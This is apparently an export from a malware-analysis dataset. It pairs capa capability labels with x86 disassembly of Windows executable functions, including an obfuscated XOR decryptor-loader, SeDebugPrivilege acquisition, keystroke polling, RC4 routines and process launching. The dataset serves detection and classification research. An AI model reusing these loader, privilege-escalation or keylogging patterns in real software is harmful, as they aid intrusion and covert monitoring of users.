joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7a2eef
Capabilities:
Encode data using xor

Disassembly:
movsx di, di
mov edi, dword [esp + 0xc]
add dword [esp], 0xff8f7ea7
push dword [esp + 0x10]
popfd
lea esp, [esp + 0x18]
call fcn.00690857
add dword [ebx + 0x16], 0x1e4f28df
mov dword [0xb14b72e2], eax
push esp
and dword [edx], edx
cmp byte [ecx], cl
or al, 0x1e
jae 0x7a2f89
in eax, dx
pop ss
frstor dword [eax - 0x1e72f2cb]
cmp ch, byte [esi + 0x1b]
mov ebp, 0xa2cdf321
aad 0x1f
cmp al, 0xaf
arpl word [0x67acc81e], cx
xor byte [edi], bl
test eax, 0xdfaba327
invalid
nop
je 0x7a2f1a
jg 0x7a2f85
nop
mov byte [0x86c4f28d], al
dec edx
cld
xchg esp, eax
loopne 0x7a2fa7
and cl, byte [ecx]
mov ebp, 0xb1517b21
in eax, 0x1e
mov cl, 0xe5
push ds
add bl, byte [esi]
push ebp
invalid
loope 0x7a3011
sub esp, dword [ebx - 0x7749deac]
sbb bh, byte [edi + ebx]
dec ebp
ret 0xe4db
cmpsb byte [esi], byte es:[edi]
stc
pushal
jns 0x7a2f9c
test byte [ebx + 0x21], ah
sbb ebx, dword [ebp + 0x42]
scasd eax, dword es:[edi]
push ds
sbb cl, byte [edx]
cmpsb byte [esi], byte es:[edi]
mov ah, 0xdd
std
js 0x7a306c
loope 0x7a3070
loope 0x7a3070
add edx, dword [eax + 0x1e]
and dword [esi + 0x1f76e9a0], ebx
pop ecx
shr byte [eax], cl
scasb al, byte es:[edi]
push ds
mov bh, 0xd5
sub al, 0x93
pop ds
out dx, al
jb 0x7a3027
or bh, bl
adc dword [esi - 0x22deac12], esp
mov esp, 0xab1df774
mov ebx, ds
add dh, bl
mov esi, dword [ebx]
aad 0x90
add dword [ecx - 0x36], ebx
call 0x9a1834cc
adc dword ds:[ecx + 0x7e], esi
cli
pop ds
inc esi
bound esi, qword [ebp + 0x21]
nop
inc ebp
mov cl, 0xd3
invalid
out dx, al
int 0x58
adc dl, byte [eax + 0x18281078]
nop
js 0x7a3083
sub byte [eax], bl
inc ebp
arpl ax, dx
rcl byte [esi + 0x422e26], cl
jbe 0x7a308a
pop edx
nop
mov bl, 0xb8
inc edx
and eax, 0xe0aba6f8
mov eax, 0xa6f82542
stosd dword es:[edi], eax
loopne 0x7a30aa
pop ds
dec ecx
push 0xfffffffffffffff2
mov al, byte [edx]
pop eax
fidiv word [esi + ebp*4]
jecxz 0x7a3050
test byte [edi - 0x20], ch
jmp esi
pop ebx
mov ecx, 0x862be407
outsd dx, dword [esi]
invalid

Function at 0x7b34dc
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x3c5d1603
mov edx, dword [esp + 0x24]
or ebp, ebx
mov ebx, 0x669f70bf
setno bl
bswap ebx
mov ebx, dword [esp + 0xc]
Function at 0x7bda26
Capabilities:
Encode data using xor

Disassembly:
cmpsb byte [esi], byte es:[edi]
cmc
or edi, edx
int1
jecxz 0x7bda2a
or esp, dword [esi + 0x39b135f]
stosd dword es:[edi], eax
jb 0x7bd9fc
clc
or bl, byte [ecx + 0x4b5d31ef]
and ebx, esi
ljmp 0xf5b2
inc ecx
adc edx, dword es:[ebx - 0x19]
mov ecx, ds
mov ah, 0xe4
out dx, al
out dx, eax
fprem
invalid
iretd
call 0x24c865f5
or al, 0xe8
pop esp
xchg esp, eax
out dx, al
push dword [edx - 0x69]
mov ecx, dword [esp + 0xc]
call 0x6a6e8b
jb 0x7bd9c8
jle 0x7bda14
sub eax, 0x2080d6ad
fisub dword [ecx - 0x30]
fcmovnu st(0), st(6)
xor cl, byte [ebx + 0x4a]
jg 0x7bda24
bound eax, qword [edi - 0x1b]
mov byte [ecx], ah
jl 0x7bda69
pop ebp
rcr byte [esi], 1
jae 0x7bdabd
mov ecx, 0x3da8ddcb
pop ecx
push ecx
loope 0x7bda83
jp 0x7bdaa8
popal
and ebx, ecx
loope 0x7bda54
or dword [edi], ebx
dec eax
mov bl, 0x37
rcr dword [esi], 1
push ds
into
movsb byte es:[edi], byte [esi]
xor ebp, esp
pop ds
xchg ecx, eax
or dl, byte [esp + ecx*4]
outsd dx, dword [esi]
mov ebx, 0x1aa1c38b
inc edi
cmp bl, bl
jne 0x7bda40
invalid
mov edi, 0x11d0905c
loop 0x7bda5a
nop
cli
mov edx, 0xe76fc465
les ebp, gs:[edi - 0x19]
xor ecx, eax
loop 0x7bdb04
xchg dl, al
in eax, 0x3c
nop
outsd dx, dword [esi]
fcmovne st(0), st(5)
xlatb
outsd dx, dword [esi]
xchg byte [ebp - 0x15], ah
push ds
outsd dx, dword [esi]
push edi
push ebx
cmp al, 0x90
nop
movsb byte es:[edi], byte [esi]
jbe 0x7bda8d
rcl byte [eax - 0x319bbe99], cl
xchg byte [ecx], bl
jae 0x7bdaf2
pop ds
int3
dec ebx
ja 0x7bdb02
loop 0x7bdb36
dec ebx
fdiv dword [ebp + 0x60346421]
in eax, dx
push ds
jae 0x7bdb30
test dh, dh
fst qword [edx - 0x1e939be3]
cmp byte [edx + 0x72], dh
pop esp
and edi, ebp
ror ebx, 1
xor al, 0x1f
js 0x7bda64
or ch, ah
push ds
invalid
nop
js 0x7bdb64
sbb al, byte [eax + 0x357f25e5]
sub bh, byte [edi + 0x57]
push edi
outsd dx, dword [esi]
jp 0x7bdae3
pop ebp
push ebx
nop
salc
imul eax, dword [eax], 0xffffffdf
nop
sbb al, 0x87
retf
or eax, 0x6fd8127f
dec al
pop ecx
cmp al, 0x79
fsubr dword [edi - 2]
enter 0x3c59, 0x79
jns 0x7bdb9f
fldenv [bx + si - 0x22]
fldenv [eax - 0x22]
movsb byte es:[edi], byte [esi]
int 0xc2
pop ds
loop 0x7bdb2d
shr dword [ebp - 0x18], 1
and esi, edi
scasb al, byte es:[edi]
aad 0xb0
push ds
in eax, dx
xor dword [ebx - 0x2e60e523], ebp
xor ecx, esp
mov dl, al
mov dword [ecx], 0x7e6f5b21
imul ebx, dword [edi], 0xb1bf0994
push ds
pushal
push ss
mov ebx, 0x95171f8c
jg 0x7bdb83
fcompi st(6)
inc ecx
jns 0x7bdbbd
and dword [edx], edx
push ecx
add eax, 0xa7446f1a
cli
outsd dx, dword [esi]
nop
nop
dec eax
push 0xf051eef2
push ebx
loop 0x7bdb46
in eax, dx
test al, 0xf9
outsd dx, dword [esi]
sub dh, al
inc ebp
sub byte [ecx], dl
jbe 0x7bdb46
rcl byte [eax - 0x2be8d49b], 0xb5
in eax, dx
popfd
test eax, 0x54654b39
add byte [edi + 0x66f20ad], ah
or esp, dword [esi]
out 7, eax
out 0x97, eax
push es
fisub word [eax]
clts
push ebp
std
imul dword [eax + 0x43]
fstp dword [ebx - 0x3d]
lea ebp, [edi - 0x1e]
lea ebx, [eax]
mov es, word [edi]
in al, dx
invalid
Function at 0x10001b40
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001bd8
push str.avifil32.dll
call fcn.10009d50
test al, al
jne 0x10001b5d
pop esi
ret
push str.AVIFileInit
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileExit
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileRelease
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileOpen
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamInfo
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamOpenFromFile
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamRelease
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10001c20
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001cb8
push str.winmm.dll
call fcn.10009d50
test al, al
jne 0x10001c3d
pop esi
ret
push str.mmioInstallIOProcA
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10009670
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x100096c8
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x100096c8
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10009d50
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009c50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x10009d50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10009d5f
pop dword [ebp - 0x20]
mov eax, 0x8c084c1b
add eax, 0x83f85144
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x30cf1096
sub dword [ebp - 0x30], 0xe27ccb4b
mov dword [ebp - 0x2c], 0xd4671421
sub dword [ebp - 0x2c], 0xa233c7dc
mov dword [ebp - 0x28], 0xb5082b5a
add dword [ebp - 0x28], 0x974418d4
mov dword [ebp - 0x24], 0x2b5f28d0
sub dword [ebp - 0x24], 0x2b5f28d0
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa1742a19
add eax, 0x6e8ca667
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xdf2351bc
add dword [ebp - 0x30], 0x954f179a
mov dword [ebp - 0x2c], 0xd7fb0d37
add dword [ebp - 0x2c], 0x6971543e
mov dword [ebp - 0x28], 0x1c06108e
sub dword [ebp - 0x28], 0xb896a422
mov dword [ebp - 0x24], 0x7293b3a3
sub dword [ebp - 0x24], 0x7293b3a3
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x5a21966
sub eax, 0xf5a148ee
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x32bae
push 0
call eax
mov ecx, 0xfa65cbe7
sub ecx, 0xfa6599ff
xor edi, edi
add edi, eax
mov esi, 0x1001b400
add esi, dword [ebp - 0x20]
mov ebx, 0xd0046070
sub ebx, 0xe93877f5
mov edx, dword [esi]
xor dword [ebp - 0xc], ecx
sub edx, ebx
sub dword [ebp - 0x18], 0x8ab8defe
mov dword [edi], edx
add dword [ebp - 0xc], 0xccaa975f
add edi, 0xa78e738b
add edi, 0x58718c79
add esi, 0x947789f8
add esi, 0x6b88760c
loop 0x10009e7d
add eax, 0x3c50dd55
sub eax, 0x3c5022e2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x31a093ab
add ecx, 0xde5f6c55
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401ae0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00401b40

Function at 0x401b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4063e0]
test esi, esi
jle 0x401c2d
mov edi, dword [0x4063e4]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x401b74
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x401c26
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x401b60
mov dword [esp], eax
mov ebx, eax
call fcn.00402470
test eax, eax
mov edi, eax
je 0x401c6a
lea ebx, [esi + esi*2]
mov esi, dword [0x4063e4]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00402570
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x4063e4]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c4a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x401c1f
sub eax, 0x40
and eax, 0xffffffbf
je 0x401c1f
mov eax, dword [esp + 0x20]
add ebx, dword [0x4063e4]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x401c34
add dword [0x4063e0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x401b7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401ae0
mov eax, dword [0x4063e4]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401ae0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401ae0
lea esi, [esi]
Function at 0x4020e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4063f8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4063f0]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402135
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40212e
test esi, esi
je 0x40212e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402110
mov dword [esp], 0x4063f8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402390
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x4023c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x4023be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4023ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4023b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40213f
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.0042c534
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0042c534
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 0xc], 0
jne 0x4021d5
mov dword [ebp - 0x18], esp
mov eax, 1
call fcn.0042c540
cmp dword [ebp - 0x18], esp
je 0x4021d2
push 6
call fcn.0042c53a
add esp, 4
mov dword [ebp + 8], eax
push dword [ebp + 8]
call fcn.0040234c
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402324
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 2
call fcn.0042c540
cmp dword [ebp - 0x18], esp
je 0x402215
push 6
call fcn.0042c53a
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x42ccc0
call fcn.0042c546
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push dword [ebp - 0x18]
mov eax, 3
call fcn.0042c540
cmp dword [ebp - 0x1c], esp
je 0x402260
push 6
call fcn.0042c53a
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x402270
push ebx
call fcn.0042c52e
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 4
call fcn.0042c540
cmp dword [ebp - 0x18], esp
je 0x4022ff
push 6
call fcn.0042c53a
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 5
call fcn.0042c540
cmp dword [ebp - 0x18], esp
je 0x402324
push 6
call fcn.0042c53a
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x40232c
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0042c52e
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0042c52e
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8
Function at 0x43d690
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d507b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c943c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x43d712
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c6b85
mov eax, dword [eax]
push 0x53b1f4
push eax
call fcn.004b5d04
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c96c7
test bl, bl
je 0x43d712
push 0x53b1f4
lea ecx, [esp + 0xc]
call fcn.004c9a57
push 0x53eed8
lea ecx, [esp + 0xc]
call fcn.004c9a57
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x43d74e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c96c7
jmp 0x43d819
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x43d7d2
lea edx, [esp + 0x7c]
push 0x53eed4
push edx
call fcn.004b5d04
add esp, 8
test eax, eax
je 0x43d7d2
lea eax, [esp + 0x7c]
push 0x53eed0
push eax
call fcn.004b5d04
add esp, 8
test eax, eax
je 0x43d7d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x43d762
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c96c7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x43e010
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x43e072
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x43e080
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d50fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5f6924]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x43e1b8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x43e0e6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c96c7
xor eax, eax
jmp 0x43e22f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c9804
push esi
lea ecx, [esp + 0xc]
call fcn.004c9a93
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x43e20d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push connect
call fcn.0043e010
test eax, eax
jne 0x43e20d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push connect
mov ecx, edi
call fcn.0043e010
test eax, eax
jne 0x43e20d
lea eax, [esp + 0x14]
push 0x53eeec
push eax
call fcn.004b6f40
mov esi, eax
add esp, 8
test esi, esi
jne 0x43e1ec
lea ecx, [esp + 0x14]
push 0x53eee8
push ecx
call fcn.004b6ec0
mov esi, eax
add esp, 8
test esi, esi
jne 0x43e1ec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x43e1ef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c97b4
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x43e0fe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c96c7
xor eax, eax
jmp 0x43e22f
mov byte [esi], 0
push 0x53eee4
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c96c7
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x451ef0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x451f5e
cmp si, 0x69
ja 0x451f5e
add esi, 0xffd0
cmp si, 0x11
je 0x451f2e
push 0x11
call edi
test ax, ax
jge 0x451f2e
or esi, 0x2000
cmp si, 0x10
je 0x451f43
push 0x10
call edi
test ax, ax
jge 0x451f43
or esi, 0x4000
cmp si, 0x12
je 0x451f58
push 0x12
call edi
test ax, ax
jge 0x451f58
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x451f6b
mov esi, 0xbd
jmp 0x451f1f
cmp si, 0x6e
jne 0x451f78
mov esi, 0xbe
jmp 0x451f1f
cmp si, 0x6f
jne 0x451f19
mov esi, 0xbf
jmp 0x451f1f

Function at 0x453890
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x6079a8]
xor edx, edx
cmp eax, edx
jne 0x4538b6
xor eax, eax
mov byte [eax + 0x6078a8], al
inc eax
cmp eax, 0x100
jl 0x45389e
mov dword [0x6079a8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x6078a8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x453947
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45391a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4538e8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4539c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x453a13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4539fa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
